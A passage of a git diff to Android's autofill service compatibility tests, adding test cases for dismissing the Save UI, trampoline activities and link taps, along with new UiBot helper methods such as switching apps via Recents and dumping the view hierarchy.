+        Helper.assertHasSessions(mPackageName);
+
+        // Cancel session.
+        mActivity.getAutofillManager().cancel();
+        Helper.assertNoDanglingSessions();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+
+        // Assert it's not showing.
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    public void testDismissSave_byTappingBack() throws Exception {
+        startActivity();
+        dismissSaveTest(DismissType.BACK_BUTTON);
+    }
+
+    @Test
+    public void testDismissSave_byTappingHome() throws Exception {
+        startActivity();
+        dismissSaveTest(DismissType.HOME_BUTTON);
+    }
+
+    @Test
+    public void testDismissSave_byTouchingOutside() throws Exception {
+        startActivity();
+        dismissSaveTest(DismissType.TOUCH_OUTSIDE);
+    }
+
+    @Test
+    public void testDismissSave_byFocusingOutside() throws Exception {
+        startActivity();
+        dismissSaveTest(DismissType.FOCUS_OUTSIDE);
+    }
+
+    @Test
+    @Ignore("Test fail on some devices because Recents UI is not well defined: b/72044685")
+    public void testDismissSave_byTappingRecents() throws Exception {
+        // Launches a different activity first.
+        startWelcomeActivityOnNewTask();
+
+        // Then launches the main activity.
+        startActivity(true);
+        sUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // And finally test it..
+        dismissSaveTest(DismissType.RECENTS_BUTTON);
+    }
+
+    private void dismissSaveTest(DismissType dismissType) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Then make sure it goes away when user doesn't want it..
+        switch (dismissType) {
+            case BACK_BUTTON:
+                sUiBot.pressBack();
+                break;
+            case HOME_BUTTON:
+                sUiBot.pressHome();
+                break;
+            case TOUCH_OUTSIDE:
+                sUiBot.assertShownByText(TEXT_LABEL).click();
+                break;
+            case FOCUS_OUTSIDE:
+                mActivity.syncRunOnUiThread(() -> mActivity.mLabel.requestFocus());
+                sUiBot.assertShownByText(TEXT_LABEL).click();
+                break;
+            case RECENTS_BUTTON:
+                sUiBot.switchAppsUsingRecents();
+                WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+                break;
+            default:
+                throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
+        }
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    public void testTapHomeWhileDatasetPickerUiIsShowing() throws Exception {
+        startActivity();
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        sUiBot.assertShownByRelativeId(ID_INPUT).click();
+        sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("YO");
+        callback.assertUiShownEvent(mActivity.mInput);
+
+        // Go home, you are drunk!
+        sUiBot.pressHome();
+        sUiBot.assertNoDatasets();
+        callback.assertUiHiddenEvent(mActivity.mInput);
+
+        // Switch back to the activity.
+        restartActivity();
+        sUiBot.assertShownByText(TEXT_LABEL, Helper.ACTIVITY_RESURRECTION_MS);
+        final UiObject2 datasetPicker = sUiBot.assertDatasets("YO");
+        callback.assertUiShownEvent(mActivity.mInput);
+
+        // Now autofill it.
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        sUiBot.selectDataset(datasetPicker, "YO");
+        autofillExpecation.assertAutoFilled();
+    }
+
+    @Test
+    public void testTapHomeWhileSaveUiIsShowing() throws Exception {
+        startActivity();
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+
+        // Trigger save, but don't tap it.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Go home, you are drunk!
+        sUiBot.pressHome();
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+        Helper.assertNoDanglingSessions();
+
+        // Prepare the response for the next session, which will be automatically triggered
+        // when the activity is brought back.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Switch back to the activity.
+        restartActivity();
+        sUiBot.assertShownByText(TEXT_LABEL, Helper.ACTIVITY_RESURRECTION_MS);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+
+        // Trigger and select UI.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        sUiBot.selectDataset("YO");
+
+        // Assert it.
+        autofillExpecation.assertAutoFilled();
+    }
+
+    private void startWelcomeActivityOnNewTask() throws Exception {
+        final Intent intent = new Intent(mContext, WelcomeActivity.class);
+        intent.setFlags(
+                Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+        mContext.startActivity(intent);
+        WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+    }
+
+    @Override
+    protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception {
+        startActivity();
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // .. then do something to return to previous activity...
+        switch (type) {
+            case ROTATE_THEN_TAP_BACK_BUTTON:
+                // After the device rotates, the input field get focus and generate a new session.
+                sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+                sUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+                // not breaking on purpose
+            case TAP_BACK_BUTTON:
+                // ..then go back and save it.
+                sUiBot.pressBack();
+                break;
+            case FINISH_ACTIVITY:
+                // ..then finishes it.
+                WelcomeActivity.finishIt();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+        // Make sure previous activity is back...
+        sUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // ... and tap save.
+        final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+        sUiBot.saveForAutofill(newSaveUi, true);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+
+    }
+
+    @Override
+    protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
+        sReplier.getNextFillRequest();
+    }
+
+    @Override
+    protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
+            boolean manualRequest) throws Exception {
+        startActivity();
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown.
+        WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap back to restore the Save UI...
+        sUiBot.pressBack();
+        // Make sure previous activity is back...
+        sUiBot.assertShownByRelativeId(ID_LABEL);
+
+        // ...but don't tap it...
+        final UiObject2 saveUi2 = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // ...instead, do something to dismiss it:
+        switch (action) {
+            case TOUCH_OUTSIDE:
+                sUiBot.assertShownByRelativeId(ID_LABEL).longClick();
+                break;
+            case TAP_NO_ON_SAVE_UI:
+                sUiBot.saveForAutofill(saveUi2, false);
+                break;
+            case TAP_YES_ON_SAVE_UI:
+                sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+                assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+                Helper.assertNoDanglingSessions();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid action: " + action);
+        }
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Make sure previous session was finished.
+        Helper.assertNoDanglingSessions();
+
+        // Now triggers a new session and do business as usual...
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        if (manualRequest) {
+            mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+        } else {
+            mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        }
+
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("42");
+            mActivity.mCommit.performClick();
+        });
+
+        // Save it...
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
+    }
+
+    @Override
+    protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception {
+        startActivity(type == PostSaveLinkTappedAction.TAP_RECENTS);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        switch (type) {
+            case TAP_RECENTS:
+                sUiBot.switchAppsUsingRecents();
+                break;
+            case LAUNCH_PREVIOUS_ACTIVITY:
+                startActivity(SimpleSaveActivity.class);
+                break;
+            case LAUNCH_NEW_ACTIVITY:
+                // Launch a 3rd activity...
+                startActivity(LoginActivity.class);
+                sUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+                // ...then go back
+                sUiBot.pressBack();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+        // Make sure right activity is showing
+        sUiBot.assertShownByRelativeId(ID_INPUT);
+
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Override
+    protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+            throws Exception {
+        // Prepare activity.
+        startActivity();
+        mActivity.mInput.getRootView()
+                .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setCustomDescription(newCustomDescription(TrampolineWelcomeActivity.class))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+
+        // Save UI should be showing as well, since Trampoline finished.
+        sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Go back and make sure it's showing the right activity.
+        sUiBot.pressBack();
+        sUiBot.assertShownByRelativeId(ID_LABEL);
+
+        // Now start a new session.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PASSWORD)
+                .build());
+        mActivity.getAutofillManager().requestAutofill(mActivity.mPassword);
+        sReplier.getNextFillRequest();
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPassword.setText("42");
+            mActivity.mCommit.performClick();
+        });
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
index b96e5e3..d4be2e6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
@@ -15,16 +15,14 @@
  */
 package android.autofillservice.cts;
 
+import static android.autofillservice.cts.AbstractTimePickerActivity.ID_OUTPUT;
+import static android.autofillservice.cts.AbstractTimePickerActivity.ID_TIME_PICKER;
 import static android.autofillservice.cts.Helper.assertNumberOfChildren;
 import static android.autofillservice.cts.Helper.assertTextAndValue;
 import static android.autofillservice.cts.Helper.assertTextIsSanitized;
 import static android.autofillservice.cts.Helper.assertTimeValue;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.autofillservice.cts.AbstractTimePickerActivity.ID_OUTPUT;
-import static android.autofillservice.cts.AbstractTimePickerActivity.ID_TIME_PICKER;
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TrampolineForResultActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TrampolineForResultActivity.java
new file mode 100644
index 0000000..6cdd33e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/TrampolineForResultActivity.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Intent;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity used to launch another activity for result.
+ */
+// TODO: move to common code
+public class TrampolineForResultActivity extends AbstractAutoFillActivity {
+    private static final String TAG = "TrampolineForResultActivity";
+
+    private final CountDownLatch mLatch = new CountDownLatch(1);
+
+    private int mExpectedRequestCode;
+    private int mActualRequestCode;
+    private int mActualResultCode;
+
+    /**
+     * Starts an activity for result.
+     */
+    public void startForResult(Intent intent, int requestCode) {
+        mExpectedRequestCode = requestCode;
+        startActivityForResult(intent, requestCode);
+    }
+
+    /**
+     * Asserts the activity launched by {@link #startForResult(Intent, int)} was finished with the
+     * expected result code, or fails if it times out.
+     */
+    public void assertResult(int expectedResultCode) throws Exception {
+        final boolean called = mLatch.await(1000, TimeUnit.MILLISECONDS);
+        assertWithMessage("Result not received in 1s").that(called).isTrue();
+        assertWithMessage("Wrong actual code").that(mActualRequestCode)
+            .isEqualTo(mExpectedRequestCode);
+        assertWithMessage("Wrong result code").that(mActualResultCode)
+                .isEqualTo(expectedResultCode);
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        Log.d(TAG, "onActivityResult(): req=" + requestCode + ", res=" + resultCode);
+        mActualRequestCode = requestCode;
+        mActualResultCode = resultCode;
+        mLatch.countDown();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java
new file mode 100644
index 0000000..dc39808
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Activity that launches a new {@link WelcomeActivity} and finishes right away.
+ */
+public class TrampolineWelcomeActivity extends AbstractAutoFillActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        startActivity(new Intent(this, WelcomeActivity.class));
+        finish();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 495b05c..a0413d4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -18,7 +18,9 @@
 
 import static android.autofillservice.cts.Helper.NOT_SHOWING_TIMEOUT_MS;
 import static android.autofillservice.cts.Helper.SAVE_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.UI_RECENTS_SWITCH_TIMEOUT_MS;
 import static android.autofillservice.cts.Helper.UI_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.runShellCommand;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
@@ -29,20 +31,24 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.app.Instrumentation;
 import android.app.UiAutomation;
+import android.content.Context;
 import android.content.res.Resources;
 import android.os.SystemClock;
 import android.service.autofill.SaveInfo;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
 import android.text.Html;
 import android.util.Log;
 import android.view.accessibility.AccessibilityWindowInfo;
 
+import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
@@ -54,6 +60,7 @@
 
     private static final String RESOURCE_ID_DATASET_PICKER = "autofill_dataset_picker";
     private static final String RESOURCE_ID_SAVE_SNACKBAR = "autofill_save";
+    private static final String RESOURCE_ID_SAVE_ICON = "autofill_save_icon";
     private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
     private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
 
@@ -72,6 +79,9 @@
             "autofill_picker_accessibility_title";
     private static final String RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE =
             "autofill_save_accessibility_title";
+    private static final String RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION =
+            "config_forceDefaultOrientation";
+
 
     private static final String TAG = "AutoFillCtsUiBot";
 
@@ -83,16 +93,32 @@
 
 
     private final UiDevice mDevice;
+    private final Context mContext;
     private final String mPackageName;
     private final UiAutomation mAutoman;
 
     UiBot(Instrumentation instrumentation) throws Exception {
         mDevice = UiDevice.getInstance(instrumentation);
-        mPackageName = instrumentation.getContext().getPackageName();
+        mContext = instrumentation.getContext();
+        mPackageName = mContext.getPackageName();
         mAutoman = instrumentation.getUiAutomation();
     }
 
     /**
+     * Assumes the device has a minimum height and width of {@code minSize}, throwing a
+     * {@code AssumptionViolatedException} if it doesn't (so the test is skiped by the JUnit
+     * Runner).
+     */
+    void assumeMinimumResolution(int minSize) {
+        final int width = mDevice.getDisplayWidth();
+        final int heigth = mDevice.getDisplayHeight();
+        final int min = Math.min(width, heigth);
+        assumeTrue("Screen size is too small (" + width + "x" + heigth + ")", min >= minSize);
+        Log.d(TAG, "assumeMinimumResolution(" + minSize + ") passed: screen size is "
+                + width + "x" + heigth);
+    }
+
+    /**
      * Asserts the dataset chooser is not shown.
      */
     void assertNoDatasets() {
@@ -177,8 +203,34 @@
      * {@link #assertDatasets(String...)}.
      */
     public UiObject2 assertShownByText(String text) {
-        final UiObject2 object = waitForObject(By.text(text));
-        assertWithMessage(text).that(object).isNotNull();
+        return assertShownByText(text, UI_TIMEOUT_MS);
+    }
+
+    public UiObject2 assertShownByText(String text, int timeoutMs) {
+        final UiObject2 object = waitForObject(By.text(text), timeoutMs);
+        assertWithMessage("No node with text '%s'", text).that(object).isNotNull();
+        return object;
+    }
+
+    /**
+     * Asserts that the text is not showing for sure in the screen "as is", i.e., without waiting
+     * for it.
+     *
+     * <p>Typically called after another assertion that waits for a condition to be shown.
+     */
+    public void assertNotShowingForSure(String text) throws Exception {
+        final UiObject2 object = mDevice.findObject(By.text(text));
+        assertWithMessage("Find node with text '%s'", text).that(object).isNull();
+    }
+
+    /**
+     * Asserts a node with the given content description is shown.
+     *
+     */
+    public UiObject2 assertShownByContentDescription(String contentDescription) {
+        final UiObject2 object = waitForObject(By.desc(contentDescription));
+        assertWithMessage("No node with content description '%s'", contentDescription).that(object)
+                .isNotNull();
         return object;
     }
 
@@ -204,8 +256,35 @@
     /**
      * Asserts the id is shown on the screen.
      */
-    void assertShownById(String id) {
-        assertThat(waitForObject(By.res(id))).isNotNull();
+    UiObject2 assertShownById(String id) throws Exception {
+        final UiObject2 object = waitForObject(By.res(id));
+        assertThat(object).isNotNull();
+        return object;
+    }
+
+    /**
+     * Asserts the id is shown on the screen, using a resource id from the test package.
+     */
+    UiObject2 assertShownByRelativeId(String id) {
+        final UiObject2 obj = waitForObject(By.res(mPackageName, id));
+        assertThat(obj).isNotNull();
+        return obj;
+    }
+
+    /**
+     * Asserts the id is not shown on the screen anymore, using a resource id from the test package.
+     *
+     * <p><b>Note:</b> this method should only called AFTER the id was previously shown, otherwise
+     * it might pass without really asserting anything.
+     */
+    void assertGoneByRelativeId(String id, long timeoutMs) throws IOException {
+        boolean gone = mDevice.wait(Until.gone(By.res(mPackageName, id)), timeoutMs);
+        if (!gone) {
+            final String message = "Object with id '" + id + "' should be gone after "
+                    + timeoutMs + " ms";
+            dumpScreen();
+            throw new RetryableException(message);
+        }
     }
 
     /**
@@ -246,7 +325,7 @@
     }
 
     /**
-     * Presses the back button.
+     * Presses the Back button.
      */
     void pressBack() {
         Log.d(TAG, "pressBack()");
@@ -254,12 +333,30 @@
     }
 
     /**
-     * Presses the home button.
+     * Presses the Home button.
      */
     void pressHome() {
         Log.d(TAG, "pressHome()");
         mDevice.pressHome();
     }
+
+    /**
+     * Uses the Recents button to switch back to previous activity
+     */
+    void switchAppsUsingRecents() throws Exception {
+        Log.d(TAG, "switchAppsUsingRecents()");
+
+        // Press once to show list of apps...
+        mDevice.pressRecentApps();
+
+        // ...wait until apps are shown...
+        // TODO(b/37566627): figure out a way to wait for a specific UI instead.
+        SystemClock.sleep(UI_RECENTS_SWITCH_TIMEOUT_MS);
+
+        // ...press again to go back to the activity.
+        mDevice.pressRecentApps();
+    }
+
     /**
      * Asserts the save snackbar is not showing and returns it.
      */
@@ -318,8 +415,15 @@
         final UiObject2 snackbar = waitForObject(By.res("android", RESOURCE_ID_SAVE_SNACKBAR),
                 timeout);
 
-        final UiObject2 titleView = snackbar.findObject(By.res("android", RESOURCE_ID_SAVE_TITLE));
-        assertWithMessage("save title (%s)", RESOURCE_ID_SAVE_TITLE).that(titleView).isNotNull();
+        final UiObject2 titleView =
+                waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_TITLE), UI_TIMEOUT_MS);
+        assertWithMessage("save title (%s) is not shown", RESOURCE_ID_SAVE_TITLE).that(titleView)
+                .isNotNull();
+
+        final UiObject2 iconView =
+                waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_ICON), UI_TIMEOUT_MS);
+        assertWithMessage("save icon (%s) is not shown", RESOURCE_ID_SAVE_ICON).that(iconView)
+                .isNotNull();
 
         final String actualTitle = titleView.getText();
         Log.d(TAG, "save title: " + actualTitle);
@@ -438,7 +542,7 @@
      * Gets a string from the Android resources.
      */
     private String getString(String id) {
-        final Resources resources = InstrumentationRegistry.getContext().getResources();
+        final Resources resources = mContext.getResources();
         final int stringId = resources.getIdentifier(id, "string", "android");
         return resources.getString(stringId);
     }
@@ -447,7 +551,7 @@
      * Gets a string from the Android resources.
      */
     private String getString(String id, Object... formatArgs) {
-        final Resources resources = InstrumentationRegistry.getContext().getResources();
+        final Resources resources = mContext.getResources();
         final int stringId = resources.getIdentifier(id, "string", "android");
         return resources.getString(stringId, formatArgs);
     }
@@ -464,15 +568,18 @@
     /**
      * Waits for and returns an object.
      *
+     * @param parent where to find the object (or {@code null} to use device's root).
      * @param selector {@link BySelector} that identifies the object.
      * @param timeout timeout in ms
      */
-    private UiObject2 waitForObject(BySelector selector, long timeout) {
+    private UiObject2 waitForObject(UiObject2 parent, BySelector selector, long timeout) {
         // NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
         final int maxTries = 5;
         final long napTime = timeout / maxTries;
         for (int i = 1; i <= maxTries; i++) {
-            final UiObject2 uiObject = mDevice.findObject(selector);
+            final UiObject2 uiObject = parent != null
+                    ? parent.findObject(selector)
+                    : mDevice.findObject(selector);
             if (uiObject != null) {
                 return uiObject;
             }
@@ -480,6 +587,17 @@
         }
         throw new RetryableException("Object with selector '%s' not found in %d ms",
                 selector, UI_TIMEOUT_MS);
+
+    }
+
+    /**
+     * Waits for and returns an object.
+     *
+     * @param selector {@link BySelector} that identifies the object.
+     * @param timeout timeout in ms
+     */
+    private UiObject2 waitForObject(BySelector selector, long timeout) {
+        return waitForObject(null, selector, timeout);
     }
 
     /**
@@ -579,4 +697,54 @@
     public int getScreenOrientation() {
         return mDevice.getDisplayRotation();
     }
-}
+
+    /**
+     * Dumps the current view hierarchy int the output stream.
+     */
+    public void dumpScreen() throws IOException {
+        mDevice.dumpWindowHierarchy(System.out);
+    }
